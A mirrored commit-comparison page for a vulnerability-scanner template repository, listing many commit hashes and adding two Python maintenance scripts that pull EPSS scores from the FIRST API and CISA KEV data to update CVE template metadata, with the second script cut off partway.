mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-08 17:39:42 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
71d45919ce | ||
|
|
68040b366d | ||
|
|
0e4b3ef775 | ||
|
|
9c153fa5d7 | ||
|
|
d3d660712c | ||
|
|
11e071f7bc | ||
|
|
6ba7127097 | ||
|
|
493ddf2117 | ||
|
|
89a5c10872 | ||
|
|
6bed12e2b5 | ||
|
|
e2030e26bc | ||
|
|
56396cca29 | ||
|
|
dfe54e0dfe | ||
|
|
134d33533c | ||
|
|
aff0084909 | ||
|
|
ad37872179 | ||
|
|
ba91d8be2e | ||
|
|
036ff2a706 | ||
|
|
6855fa937e | ||
|
|
7a1dcc1e71 | ||
|
|
92b1a828f7 | ||
|
|
06afab2378 | ||
|
|
01a2f8b961 | ||
|
|
de2cc52ebd | ||
|
|
b1bfe6a3c4 | ||
|
|
6123705b26 | ||
|
|
25cf291c42 | ||
|
|
667f829e3e | ||
|
|
3a475e0cb4 | ||
|
|
93d84deb8f | ||
|
|
15632f718c | ||
|
|
a987479d29 | ||
|
|
ff7a2788e0 | ||
|
|
599d063b2e | ||
|
|
cda27fba4e | ||
|
|
a7bbec4e77 | ||
|
|
35ae9b589d | ||
|
|
8416bb3d1e | ||
|
|
e53e85619a | ||
|
|
0a8eb6d5fc | ||
|
|
6f73d39644 | ||
|
|
74945b36ff | ||
|
|
118831b577 | ||
|
|
9aeb824c14 | ||
|
|
06b75f11e6 | ||
|
|
08af5ec5de | ||
|
|
6962c7d05a | ||
|
|
52f0014be0 | ||
|
|
25b5c6c106 | ||
|
|
ec22859ed3 | ||
|
|
454540a9ea | ||
|
|
61cff77927 | ||
|
|
78f315fa67 | ||
|
|
b72ac64734 | ||
|
|
79eb293f1b | ||
|
|
a96d1c51af | ||
|
|
de4abbabc1 | ||
|
|
f4b773181c | ||
|
|
c4e2dbbb52 | ||
|
|
97846f1d29 | ||
|
|
c56bed2638 | ||
|
|
fc254a067f | ||
|
|
d4157d6a7d | ||
|
|
8ea746c4c5 | ||
|
|
302545c9a6 | ||
|
|
3b13f68f75 | ||
|
|
8c359fccde | ||
|
|
ffad1ab13b | ||
|
|
f94b45a129 | ||
|
|
b483115b2e | ||
|
|
7b2bb92261 | ||
|
|
97207bacaa | ||
|
|
70d4baa652 | ||
|
|
c29576d964 | ||
|
|
46c5137f98 | ||
|
|
d281ee55f7 | ||
|
|
88076a8e44 | ||
|
|
34b40f54f7 | ||
|
|
d5f6821516 | ||
|
|
adf3316b7d | ||
|
|
469ebbf436 | ||
|
|
32c44e50f8 | ||
|
|
71177e5709 | ||
|
|
7074dcc1e5 | ||
|
|
4ef2151d67 | ||
|
|
06a080f628 | ||
|
|
8787a8fd2c | ||
|
|
99368ab53b | ||
|
|
d7f58cb226 | ||
|
|
15b34f24f8 | ||
|
|
19e62bac1e | ||
|
|
08fb2f974c | ||
|
|
1b9bb51650 | ||
|
|
b46283aaee | ||
|
|
b894623eef | ||
|
|
8ba9ac5c4f | ||
|
|
67244e9f75 | ||
|
|
3be49af101 | ||
|
|
8c9716c37b | ||
|
|
22b4f1f8d0 | ||
|
|
521c8ae4c4 | ||
|
|
df193f5498 | ||
|
|
18bd271647 | ||
|
|
7d45e20514 | ||
|
|
7781aa7aa2 | ||
|
|
c6c6a701c8 | ||
|
|
9541963cee | ||
|
|
27fa9904a7 | ||
|
|
6953deb4c0 | ||
|
|
2461dbbc6e | ||
|
|
2bad4b6fe4 | ||
|
|
7e50a7ba4c | ||
|
|
ccea1c9900 | ||
|
|
bfeb973e8f | ||
|
|
a4c2be2d31 | ||
|
|
8c63bb00e2 | ||
|
|
56619699f9 | ||
|
|
7c3462065f | ||
|
|
f7874c129f | ||
|
|
896b3b79dc | ||
|
|
cfe7c240d7 | ||
|
|
32aa6850ce | ||
|
|
1ef048433c | ||
|
|
a6d19aab42 | ||
|
|
2d6b07d4ed | ||
|
|
605aebae63 | ||
|
|
2a86884648 | ||
|
|
6ea319f923 | ||
|
|
0bf707b185 | ||
|
|
c73b466238 | ||
|
|
aa5379b2eb | ||
|
|
824c21c1fe | ||
|
|
38f1ebf515 | ||
|
|
594307b6ee | ||
|
|
8a6c584398 | ||
|
|
fa399da278 | ||
|
|
a176bffeaa | ||
|
|
9a6d93e5a4 | ||
|
|
e6958bfebd | ||
|
|
21b25356c4 | ||
|
|
3b5d93ebb7 | ||
|
|
dc771a8a94 | ||
|
|
b9079d5c05 | ||
|
|
e3afa0b8b6 | ||
|
|
23d7d25971 | ||
|
|
2ef9faade4 | ||
|
|
0c229d8ae9 | ||
|
|
1588959778 | ||
|
|
8cc6419717 | ||
|
|
5ad4d6443f | ||
|
|
72e7e6b11a | ||
|
|
060146f6e9 | ||
|
|
bcda80b02e | ||
|
|
e64e1814fe | ||
|
|
06322adf46 | ||
|
|
a6f8cbb843 | ||
|
|
1be19faa7b | ||
|
|
3affb386ad | ||
|
|
6783cd0853 | ||
|
|
bdde1e9f96 | ||
|
|
db59105e22 | ||
|
|
4d73fca556 | ||
|
|
226d8f0006 | ||
|
|
aaeb3ca807 | ||
|
|
4090d1f9da | ||
|
|
85170dfa8a | ||
|
|
1d49759282 | ||
|
|
733bdd1afb | ||
|
|
e5241cf955 | ||
|
|
2a6f333051 | ||
|
|
e9a412f0a3 | ||
|
|
4287cbb162 | ||
|
|
73b072eb95 | ||
|
|
9a2363d075 | ||
|
|
bdc7c9b997 | ||
|
|
095a189f72 | ||
|
|
7b7ebd331e | ||
|
|
91c23b414c | ||
|
|
523e75c70a | ||
|
|
309eb9cb0c | ||
|
|
2f07b74800 | ||
|
|
bb5e94165a | ||
|
|
bfbde3f1f5 | ||
|
|
094242866c | ||
|
|
8ca11c3553 | ||
|
|
5924fadaf8 | ||
|
|
529dc87a72 | ||
|
|
760cd5c9b0 | ||
|
|
0b5ffee336 | ||
|
|
b8a2c283b0 | ||
|
|
03a492701c | ||
|
|
bdb0fa4cfa | ||
|
|
05d62ec88c | ||
|
|
3226a2c551 | ||
|
|
11438d9c25 | ||
|
|
53892099ec | ||
|
|
944d493c30 | ||
|
|
2b260350ed | ||
|
|
4003f5ead8 | ||
|
|
6039848c54 | ||
|
|
821acf4711 | ||
|
|
6e0f27cbdf | ||
|
|
4e8906c002 | ||
|
|
082113c69a | ||
|
|
97c466c65f | ||
|
|
8e51339fdd | ||
|
|
1ccb2434ad | ||
|
|
d633920257 | ||
|
|
abc2c84e99 | ||
|
|
374996d133 | ||
|
|
7088c79b61 | ||
|
|
b38d053cab | ||
|
|
6a4d0baa8d | ||
|
|
95b300812f | ||
|
|
2dde3fa482 | ||
|
|
e21f2dd0fb | ||
|
|
2dc0245d88 | ||
|
|
eaa4d62e7c | ||
|
|
9a274f8200 | ||
|
|
56afbf4a5c | ||
|
|
5bd01ecfc0 | ||
|
|
4a73017354 | ||
|
|
49ce9ec857 | ||
|
|
3a72ef4dbd | ||
|
|
a8a31b42d6 | ||
|
|
ec0e74ef96 | ||
|
|
b52a7e4c1a | ||
|
|
91d3ce64f0 | ||
|
|
27fc20c1da | ||
|
|
c1ec46c797 | ||
|
|
80e82ece2a | ||
|
|
5aa3b2f457 | ||
|
|
d02ebdb084 | ||
|
|
74e48c30e5 | ||
|
|
f515481877 | ||
|
|
64db94a103 | ||
|
|
3ebd391730 | ||
|
|
78e06f2b73 | ||
|
|
10cf3d780f | ||
|
|
0adf33c29a | ||
|
|
e6d7359a1c | ||
|
|
385bb03330 | ||
|
|
3a00d3f937 | ||
|
|
0653f3d772 | ||
|
|
b367b54cd8 | ||
|
|
7f088bdea0 | ||
|
|
20e287716f | ||
|
|
5da774c48a | ||
|
|
998d5bceac | ||
|
|
f73bc579f7 | ||
|
|
585285bdb8 | ||
|
|
c2937dd0e3 | ||
|
|
938ca9205c | ||
|
|
296c1e4c4a | ||
|
|
9fab433a02 | ||
|
|
33b968405b | ||
|
|
e97faa0bd0 | ||
|
|
61f1d0081b | ||
|
|
0c6576c146 | ||
|
|
d6d18924b6 | ||
|
|
5d0c2397bc | ||
|
|
b8130c2d74 | ||
|
|
e02e65961e | ||
|
|
dcdf76097c | ||
|
|
b4ba5234cf | ||
|
|
610a771551 | ||
|
|
2c8e8746e5 | ||
|
|
a5dce36c4f | ||
|
|
07c597d6d1 | ||
|
|
b3ae91592f | ||
|
|
8db6d56222 | ||
|
|
4e40296cb9 | ||
|
|
c8c0ff8d4b | ||
|
|
a790a5946b | ||
|
|
69080d8937 | ||
|
|
d1a1dd445c | ||
|
|
abe2e78998 | ||
|
|
7e5d6f044d | ||
|
|
d14c4235d2 | ||
|
|
c5538b09ae | ||
|
|
02d82720da | ||
|
|
284af94705 | ||
|
|
f7f5485e29 | ||
|
|
5fee21c77d | ||
|
|
c5e91495b8 | ||
|
|
b761df4644 | ||
|
|
13453c9f48 | ||
|
|
ebb4a18c32 | ||
|
|
0b0939f0b0 | ||
|
|
b23283d3fa | ||
|
|
61e8953107 | ||
|
|
75c7e7dbf0 | ||
|
|
b5f68ff47f | ||
|
|
196875fde6 | ||
|
|
814b1b169f | ||
|
|
7e6ebb1630 | ||
|
|
84490be314 | ||
|
|
5ddf7319c8 | ||
|
|
cb0ee44fad | ||
|
|
37b9ea2d26 | ||
|
|
21ba35fa6e | ||
|
|
4bbb625684 | ||
|
|
f907140375 | ||
|
|
45d9582ae0 | ||
|
|
59e6cac983 | ||
|
|
7f1adf47cf | ||
|
|
72fdfa4be4 | ||
|
|
ec9d414da0 | ||
|
|
852f7727e3 | ||
|
|
a74824b196 | ||
|
|
8357ba2bdd | ||
|
|
4522690eb3 | ||
|
|
2537a8ff99 | ||
|
|
47a4953738 | ||
|
|
2cd57b9a0d | ||
|
|
7c07c3117d | ||
|
|
9c3ffbb421 | ||
|
|
8e65b15fd2 | ||
|
|
6f922715c8 | ||
|
|
23dd94fd34 | ||
|
|
4b559b570a | ||
|
|
21ecb0b047 | ||
|
|
724ad2fa78 | ||
|
|
53a53f4cfb | ||
|
|
9e799cc28d | ||
|
|
3277720cda | ||
|
|
aded3eeb9a | ||
|
|
776076f1c0 | ||
|
|
7716658cac | ||
|
|
d41a9a87c8 | ||
|
|
bd413794f6 | ||
|
|
b20a464b39 | ||
|
|
746f65fb14 | ||
|
|
fbe64ccfce | ||
|
|
ca7616b6ed | ||
|
|
591ae4b684 | ||
|
|
f9b364d9ed | ||
|
|
bcd9e61db0 | ||
|
|
1f439ba1e4 | ||
|
|
5981a5af59 | ||
|
|
33dd1c5feb | ||
|
|
d89c835b06 | ||
|
|
6a39b46bdf | ||
|
|
b4bc6bbb1d | ||
|
|
3161e2f057 | ||
|
|
cd37d04320 | ||
|
|
5a19b538f3 | ||
|
|
7491dbcc98 | ||
|
|
7c9d822d97 | ||
|
|
7bc3d4ce70 | ||
|
|
9cf37a2bcd | ||
|
|
f6b313c971 | ||
|
|
fd803ef546 | ||
|
|
7c284e858d | ||
|
|
336e7aa1c8 | ||
|
|
4b2f0da328 | ||
|
|
8fe833e913 | ||
|
|
775020c9df | ||
|
|
5f9845d882 | ||
|
|
3240ae4681 | ||
|
|
11733cf43d | ||
|
|
43f383a3f5 | ||
|
|
a967ee222b | ||
|
|
a7845891ab | ||
|
|
16a49ae3c9 | ||
|
|
53d7642d44 | ||
|
|
49c9e0270f | ||
|
|
fa176f45f1 | ||
|
|
716d2dd343 | ||
|
|
0a1613f462 | ||
|
|
af93bbc7b4 | ||
|
|
ae8a7bfd19 | ||
|
|
fa83a1c5f1 | ||
|
|
621f036071 | ||
|
|
57bf498e35 | ||
|
|
dc12711e13 | ||
|
|
8bf3af5cd6 | ||
|
|
c13a5e0217 | ||
|
|
64f062f9a7 | ||
|
|
2dc823aa23 | ||
|
|
2f56075b74 | ||
|
|
8c9fc3306f | ||
|
|
3c35a033ce | ||
|
|
3a31a4c695 | ||
|
|
9fc34b7324 | ||
|
|
b5ea98aa8d | ||
|
|
d60c643d80 | ||
|
|
e79284ca27 | ||
|
|
aecb127479 | ||
|
|
3569fbcf2a | ||
|
|
a4f39aba40 | ||
|
|
129c683e5c | ||
|
|
1591f7dc26 | ||
|
|
aa4ee91598 | ||
|
|
8b26cabebc | ||
|
|
92c8cdf510 | ||
|
|
2fefc271fe | ||
|
|
1a2642ca7b | ||
|
|
898f26a5f5 | ||
|
|
cdb4775b71 | ||
|
|
cdd4d9834c | ||
|
|
47d64e0efc | ||
|
|
0f09da127b | ||
|
|
1ac25151bb | ||
|
|
4b79a4f046 | ||
|
|
80fe7436fa | ||
|
|
d1be6add4c | ||
|
|
c3d9369b1f | ||
|
|
a046af8f50 | ||
|
|
6bf24a9e3e | ||
|
|
1c71f91d86 | ||
|
|
718e923ef0 | ||
|
|
571e4a9fe7 | ||
|
|
1d480a905e | ||
|
|
57e1d5106e | ||
|
|
cbb46ee873 | ||
|
|
800417630e | ||
|
|
b5a2a2b4e1 | ||
|
|
c33e265028 | ||
|
|
d47b7ee046 | ||
|
|
4d6702857c | ||
|
|
00bb6d5767 | ||
|
|
f7f61771a5 | ||
|
|
5edaf91a21 | ||
|
|
5d554e528a | ||
|
|
f2f13104fa | ||
|
|
6ca8631e26 | ||
|
|
fa2bd3a81a | ||
|
|
3c0da94c92 | ||
|
|
b65b21bf2f | ||
|
|
9d022d962f | ||
|
|
6a8d9113d0 | ||
|
|
4ce167e036 | ||
|
|
4569449dbd | ||
|
|
927d745fac | ||
|
|
f7f305c31e | ||
|
|
c2d7fc3938 | ||
|
|
245987a4c4 | ||
|
|
60e33fbfb5 | ||
|
|
044c8f1cb3 | ||
|
|
ad0817f3a4 | ||
|
|
d43317388c | ||
|
|
386bee6d8a | ||
|
|
3391d8413d | ||
|
|
c16ea96379 | ||
|
|
500119397a | ||
|
|
e9dffc9c99 | ||
|
|
f72e3f1076 | ||
|
|
c7a6693c28 | ||
|
|
7400296723 | ||
|
|
e827c9c0dd | ||
|
|
e7ed681207 | ||
|
|
6db9e73347 | ||
|
|
eae524e3b9 | ||
|
|
5c5a228566 | ||
|
|
3a1b99c8b2 | ||
|
|
e717b10f85 | ||
|
|
7c65b49a39 | ||
|
|
196140fd73 | ||
|
|
5318a7f6ee | ||
|
|
bf5fb23b3a | ||
|
|
954826b45a | ||
|
|
413d167136 | ||
|
|
189f0f3ccc | ||
|
|
5b0c20a20b | ||
|
|
080f6114ea | ||
|
|
76ed8254c8 | ||
|
|
a3f46ca8f2 | ||
|
|
fdb5340197 | ||
|
|
39ff51a462 | ||
|
|
4d01a9d6d9 | ||
|
|
91cc322b63 | ||
|
|
8151d702b8 | ||
|
|
63a0831da0 | ||
|
|
66cf71131e | ||
|
|
9a5abf73cf | ||
|
|
0fdb0d8b73 | ||
|
|
0c04876b81 | ||
|
|
bcc1926137 | ||
|
|
c8e3a14ffd | ||
|
|
ffb9cd4445 | ||
|
|
edb0b9f2a0 | ||
|
|
4222e4d62a | ||
|
|
8befbe80b6 | ||
|
|
bbfb1200ba | ||
|
|
9ec4396cd5 | ||
|
|
6cb5a8501c | ||
|
|
ce9de3b49d | ||
|
|
4cfd5417b4 | ||
|
|
337a9fdcd3 | ||
|
|
6fe1460ea8 | ||
|
|
0d9f5486ba | ||
|
|
2efaea2dca | ||
|
|
6be751c05a | ||
|
|
ae4db8ec75 | ||
|
|
29db122e9f | ||
|
|
ae13497195 | ||
|
|
cafca5fe5a | ||
|
|
29012ffb14 | ||
|
|
599d821e40 | ||
|
|
847e5bb431 | ||
|
|
63e61539b8 | ||
|
|
21d52ddbbe | ||
|
|
1406790939 | ||
|
|
0782f8af44 | ||
|
|
6f627e8c5f | ||
|
|
4cd6a69eaf | ||
|
|
0278b303f6 | ||
|
|
f21071241e | ||
|
|
8f680c4292 | ||
|
|
9bd4dc73de | ||
|
|
e2f87ccd94 | ||
|
|
f8afcc2a55 | ||
|
|
4197cab06f | ||
|
|
186215f4ea | ||
|
|
e7695b8420 | ||
|
|
212d95b095 | ||
|
|
be10c556f4 | ||
|
|
87662a0b25 | ||
|
|
5f1376d3e0 | ||
|
|
61b7223f2e | ||
|
|
448f89a8e5 | ||
|
|
a41ab0b58e | ||
|
|
4526c60a43 | ||
|
|
065911de83 | ||
|
|
e103866e9e | ||
|
|
b07b9f36e1 | ||
|
|
1c0fc04cb1 | ||
|
|
c35963d7f9 | ||
|
|
a83f3ba430 | ||
|
|
18637180f0 | ||
|
|
27dd79b4f9 | ||
|
|
a0d7669594 | ||
|
|
c012b168fd | ||
|
|
897e562c36 | ||
|
|
34c65dfd28 | ||
|
|
02299e16d2 | ||
|
|
42570c2194 | ||
|
|
c2a185916e | ||
|
|
b95396211a | ||
|
|
a727d0f20b | ||
|
|
a5619f0c67 | ||
|
|
5ac1ca3544 | ||
|
|
d92694b83f | ||
|
|
cc2994081e | ||
|
|
626c4e5846 | ||
|
|
8315c04dc3 | ||
|
|
acb7b2003d | ||
|
|
25579a21da | ||
|
|
8031548ee0 | ||
|
|
8def1ee5ba | ||
|
|
b135add552 | ||
|
|
188714a56d | ||
|
|
ac050edb9b | ||
|
|
5fc012a707 | ||
|
|
9606a9bdb2 | ||
|
|
aadcae236d | ||
|
|
08ff5832fd | ||
|
|
08c5ba235b | ||
|
|
f72fceadcf | ||
|
|
a18b489453 | ||
|
|
070098dfa3 | ||
|
|
52ce64ecb0 | ||
|
|
072c2ce207 | ||
|
|
bb9992d71e | ||
|
|
41d0a50d4d | ||
|
|
e7248f767e | ||
|
|
26e656fc9e | ||
|
|
5160bc3240 | ||
|
|
489ebb3e51 | ||
|
|
55d4a70089 |
No files matched your search
Executable
+256
@@ -0,0 +1,256 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
EPSS Score Updater for Nuclei Templates
|
||||
|
||||
This script updates EPSS scores for all CVE templates by:
|
||||
1. Scanning all CVE YAML files
|
||||
2. Extracting CVE IDs
|
||||
3. Fetching latest EPSS scores from the FIRST API
|
||||
4. Updating the templates with new scores
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import yaml
|
||||
import requests
|
||||
from pathlib import Path
|
||||
from typing import Dict, List, Tuple, Optional
|
||||
|
||||
# Configuration
|
||||
EPSS_API_URL = "https://api.first.org/data/v1/epss"
|
||||
BATCH_SIZE = 50 # API limit for batch requests
|
||||
RATE_LIMIT_DELAY = 1 # seconds between API calls
|
||||
MAX_RETRIES = 3
|
||||
TIMEOUT = 30
|
||||
|
||||
class EPSSUpdater:
|
||||
def __init__(self, root_dir: str):
|
||||
self.root_dir = Path(root_dir)
|
||||
self.updated_count = 0
|
||||
self.error_count = 0
|
||||
|
||||
def find_cve_templates(self) -> List[Path]:
|
||||
"""Find all CVE template files."""
|
||||
cve_files = []
|
||||
|
||||
# Search for CVE templates in common directories
|
||||
patterns = [
|
||||
"**/cves/**/*.yaml",
|
||||
"**/cve-*.yaml"
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
cve_files.extend(self.root_dir.glob(pattern))
|
||||
|
||||
# Filter duplicates and sort
|
||||
return sorted(list(set(cve_files)))
|
||||
|
||||
def extract_cve_id(self, file_path: Path) -> Optional[str]:
|
||||
"""Extract CVE ID from filename or template content."""
|
||||
# First try filename
|
||||
filename = file_path.stem
|
||||
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
|
||||
if cve_match:
|
||||
return cve_match.group().upper()
|
||||
|
||||
# If not found in filename, try content
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
|
||||
if cve_match:
|
||||
return cve_match.group(1).upper()
|
||||
except Exception as e:
|
||||
print(f"Error reading {file_path}: {e}")
|
||||
|
||||
return None
|
||||
|
||||
def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
|
||||
"""Fetch EPSS scores from API for multiple CVEs."""
|
||||
epss_data = {}
|
||||
|
||||
# Process in batches
|
||||
for i in range(0, len(cve_ids), BATCH_SIZE):
|
||||
batch = cve_ids[i:i+BATCH_SIZE]
|
||||
cve_param = ','.join(batch)
|
||||
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
|
||||
|
||||
response = requests.get(
|
||||
EPSS_API_URL,
|
||||
params={'cve': cve_param},
|
||||
timeout=TIMEOUT
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
data = response.json()
|
||||
|
||||
if data.get('status') == 'OK' and 'data' in data:
|
||||
for item in data['data']:
|
||||
cve_id = item['cve'].upper()
|
||||
epss_data[cve_id] = {
|
||||
'epss': item['epss'],
|
||||
'percentile': item['percentile']
|
||||
}
|
||||
|
||||
break # Success, exit retry loop
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
|
||||
if attempt == MAX_RETRIES - 1:
|
||||
print(f"Failed to fetch EPSS data for batch: {batch}")
|
||||
else:
|
||||
time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
|
||||
|
||||
except Exception as e:
|
||||
print(f"Unexpected error: {e}")
|
||||
break
|
||||
|
||||
# Rate limiting between batches
|
||||
if i + BATCH_SIZE < len(cve_ids):
|
||||
time.sleep(RATE_LIMIT_DELAY)
|
||||
|
||||
return epss_data
|
||||
|
||||
def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
|
||||
"""Update a template file with new EPSS scores."""
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
|
||||
# Parse YAML to get structure
|
||||
try:
|
||||
template_data = yaml.safe_load(content)
|
||||
except yaml.YAMLError as e:
|
||||
print(f"YAML parsing error in {file_path}: {e}")
|
||||
return False
|
||||
|
||||
if not template_data or 'info' not in template_data:
|
||||
print(f"Invalid template structure in {file_path}")
|
||||
return False
|
||||
|
||||
# Ensure classification section exists
|
||||
if 'classification' not in template_data['info']:
|
||||
template_data['info']['classification'] = {}
|
||||
|
||||
classification = template_data['info']['classification']
|
||||
|
||||
# Convert EPSS values to float for comparison
|
||||
new_epss = float(epss_data['epss'])
|
||||
new_percentile = float(epss_data['percentile'])
|
||||
|
||||
current_epss = classification.get('epss-score', 0)
|
||||
current_percentile = classification.get('epss-percentile', 0)
|
||||
|
||||
# Check if update is needed
|
||||
if (abs(new_epss - float(current_epss)) < 0.00001 and
|
||||
abs(new_percentile - float(current_percentile)) < 0.00001):
|
||||
return False # No significant change
|
||||
|
||||
# Update scores using string replacement to preserve formatting
|
||||
epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
|
||||
percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
|
||||
|
||||
# Update epss-score
|
||||
if 'epss-score:' in content:
|
||||
content = re.sub(
|
||||
r'(\s+epss-score:\s*)[0-9.]+',
|
||||
fr'\g<1>{epss_score_str}',
|
||||
content
|
||||
)
|
||||
else:
|
||||
# Add after cve-id if exists
|
||||
if 'cve-id:' in content:
|
||||
content = re.sub(
|
||||
r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
|
||||
fr'\g<1> epss-score: {epss_score_str}\n',
|
||||
content
|
||||
)
|
||||
|
||||
# Update epss-percentile
|
||||
if 'epss-percentile:' in content:
|
||||
content = re.sub(
|
||||
r'(\s+epss-percentile:\s*)[0-9.]+',
|
||||
fr'\g<1>{percentile_str}',
|
||||
content
|
||||
)
|
||||
else:
|
||||
# Add after epss-score
|
||||
content = re.sub(
|
||||
r'(\s+epss-score:\s*[0-9.]+\s*\n)',
|
||||
fr'\g<1> epss-percentile: {percentile_str}\n',
|
||||
content
|
||||
)
|
||||
|
||||
# Write updated content
|
||||
with open(file_path, 'w', encoding='utf-8') as f:
|
||||
f.write(content)
|
||||
|
||||
print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error updating {file_path}: {e}")
|
||||
return False
|
||||
|
||||
def run(self):
|
||||
"""Main execution function."""
|
||||
print("Starting EPSS score update...")
|
||||
|
||||
# Find all CVE templates
|
||||
template_files = self.find_cve_templates()
|
||||
print(f"Found {len(template_files)} CVE template files")
|
||||
|
||||
if not template_files:
|
||||
print("No CVE templates found!")
|
||||
return
|
||||
|
||||
# Extract CVE IDs and map to files
|
||||
cve_to_files = {}
|
||||
for file_path in template_files:
|
||||
cve_id = self.extract_cve_id(file_path)
|
||||
if cve_id:
|
||||
if cve_id not in cve_to_files:
|
||||
cve_to_files[cve_id] = []
|
||||
cve_to_files[cve_id].append(file_path)
|
||||
else:
|
||||
print(f"Could not extract CVE ID from {file_path}")
|
||||
|
||||
print(f"Found {len(cve_to_files)} unique CVE IDs")
|
||||
|
||||
# Fetch EPSS scores
|
||||
all_cve_ids = list(cve_to_files.keys())
|
||||
epss_data = self.fetch_epss_scores(all_cve_ids)
|
||||
|
||||
print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
|
||||
|
||||
# Update templates
|
||||
for cve_id, files in cve_to_files.items():
|
||||
if cve_id in epss_data:
|
||||
for file_path in files:
|
||||
if self.update_template(file_path, cve_id, epss_data[cve_id]):
|
||||
self.updated_count += 1
|
||||
else:
|
||||
print(f"No EPSS data found for {cve_id}")
|
||||
self.error_count += 1
|
||||
|
||||
print(f"\nUpdate complete!")
|
||||
print(f"Templates updated: {self.updated_count}")
|
||||
print(f"Errors: {self.error_count}")
|
||||
|
||||
def main():
|
||||
"""Main entry point."""
|
||||
if len(sys.argv) > 1:
|
||||
root_dir = sys.argv[1]
|
||||
else:
|
||||
root_dir = os.getcwd()
|
||||
|
||||
updater = EPSSUpdater(root_dir)
|
||||
updater.run()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+258
@@ -0,0 +1,258 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
KEV Tagging Updater for Nuclei Templates
|
||||
|
||||
This script updates KEV (Known Exploited Vulnerabilities) tags for all CVE templates by:
|
||||
1. Fetching the latest CISA KEV catalog
|
||||
2. Checking each CVE template against the KEV list
|
||||
3. Adding 'kev' tag to the tags field for KEV CVEs
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import json
|
||||
import requests
|
||||
from pathlib import Path
|
||||
from typing import Set, Optional
|
||||
|
||||
# Configuration
|
||||
CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
|
||||
TIMEOUT = 30
|
||||
MAX_RETRIES = 3
|
||||
|
||||
class KEVUpdater:
|
||||
def __init__(self, root_dir: str):
|
||||
self.root_dir = Path(root_dir)
|
||||
self.updated_count = 0
|
||||
self.error_count = 0
|
||||
self.cisa_kev_cves = set()
|
||||
|
||||
def find_cve_templates(self) -> list[Path]:
|
||||
"""Find all CVE template files."""
|
||||
cve_files = []
|
||||
|
||||
# Search for CVE templates in common directories
|
||||
patterns = [
|
||||
"**/cves/**/*.yaml",
|
||||
"**/cve-*.yaml"
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
cve_files.extend(self.root_dir.glob(pattern))
|
||||
|
||||
return sorted(list(set(cve_files)))
|
||||
|
||||
def extract_cve_id(self, file_path: Path) -> Optional[str]:
|
||||
"""Extract CVE ID from filename or template content."""
|
||||
# First try filename
|
||||
filename = file_path.stem
|
||||
cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
|
||||
if cve_match:
|
||||
return cve_match.group().upper()
|
||||
|
||||
# If not found in filename, try content
|
||||
try:
|
||||
with open(file_path, 'r', encoding='utf-8') as f:
|
||||
content = f.read()
|
||||
cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
|
||||
if cve_match:
|
||||
return cve_match.group(1).upper()
|
||||
except Exception as e:
|
||||
print(f"Error reading {file_path}: {e}")
|
||||
|
||||
return None
|
||||
|
||||
def fetch_cisa_kev_data(self) -> Set[str]:
|
||||
"""Fetch CISA KEV catalog and return set of CVE IDs."""
|
||||
kev_cves = set()
|
||||
|
||||
for attempt in range(MAX_RETRIES):
|
||||
try:
|
||||
print("Fetching CISA KEV catalog...")
|
||||
response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
|
||||
response.raise_for_status()
|
||||
|
||||
data = response.json()
|
||||
|
||||
if 'vulnerabilities' in data:
|
||||
for vuln in data['vulnerabilities']:
|
||||
if 'cveID' in vuln:
|
||||
kev_cves.add(vuln['cveID'].upper())
|
||||
|
||||
print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
|
||||
break
|
||||
else:
|
||||
print("Invalid CISA KEV data format")
|
||||
|
||||
except requests.RequestException as e:
|
||||
print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
|
||||
if attempt == MAX_RETRIES - 1:
|
||||
print("Failed to fetch CISA KEV data")
|
||||
else:
|
||||
time.sleep(2 * (attempt + 1))
|
||||
|
||||
except Exception as e:
|
||||
print(f"Unexpected error fetching CISA KEV: {e}")
|
||||
break
|
||||
|
||||
return kev_cves
|
||||
|
||||
def has_kev_tag(self, content: str) -> bool:
|
||||
"""Check if template already has KEV tag in tags field."""
|
||||
# Look for tags field and check if kev is present
|
||||
tags_match = re.search(r'tags:\s*([^\n]+)', content)
|
||||
if tags_match:
|
||||
tags_str = tags_match.group(1)
|
||||
# Check for kev as a standalone tag (not part of another word)
|
||||
if re.search(r'\bkev\b', tags_str, re.IGNORECASE):
|
||||
return True
|
||||
return False
|
||||
